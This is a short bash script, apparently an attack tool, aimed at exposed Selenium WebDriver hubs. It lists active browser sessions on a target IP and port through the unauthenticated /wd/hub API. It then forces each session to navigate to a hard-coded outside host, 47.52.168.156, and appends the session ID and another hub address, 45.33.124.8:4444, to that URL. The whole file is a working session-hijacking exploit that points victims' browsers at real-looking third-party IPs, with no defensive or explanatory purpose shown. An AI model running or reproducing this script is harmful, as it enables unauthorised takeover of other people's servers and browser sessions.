#!/usr/bin/env bash
#http://107.6.199.230
ip=$1
port=$2



query="curl  --connect-timeout 8 -s -X GET
--header 'Content-Type: application/json'
--header
'Accept: application/json'
http://$ip:$port/wd/hub/sessions"


res=`eval $query`


cur(){
    cur="curl  --connect-timeout 8 -s -X GET
        --header 'Content-Type: application/json'
        --header
        'Accept: application/json'
        http://$1:$2/wd/hub/session/$3/url"
#    echo $cur
    echo `eval $cur` | jq .value
}



nav(){
    if [[ $3 =~ 'create' ]] || [ "$3" ==  "" ] || [[ 20 -gt ${#3}   ]]
    then
        echo "create fail"
    else
    # 重定向 写入成功日志 然后去重复
        echo "navto $3"
        cmd="curl -s --connect-timeout 12 -X POST --header 'Content-Type: application/json' --header 'Accept: application/json' -d '{ \
        \"url\": \"http://47.52.168.156?wdsid=$3&wdurl=http%3A%2F%2F45.33.124.8%3A4444%2Fwd%2Fhub\"\
        }' http://$1:$2/wd/hub/session/$3/url"
        eval $cmd >/dev/null
    fi
}

if [ "$res" !=  "" ] && [[ $res =~ "status" ]]
then
   ips=`echo $res | jq .value[].id`



    for i in $ips
    do
        echo "loop sessionId"
        sid=`echo $i | sed 's/"//g' `
        cmd="cur $ip $port $sid"
        url=`eval $cmd `

        if [[ $url =~ "http://47.52.168.156" ]]
            then
                echo "123"
            elif [[ $url =~ "additionalInformation" ]]
            then
                echo "bad"
            else
                cmd="nav $ip $port $sid"
                eval $cmd
        fi
    done



fi
#/session/:sessionId/url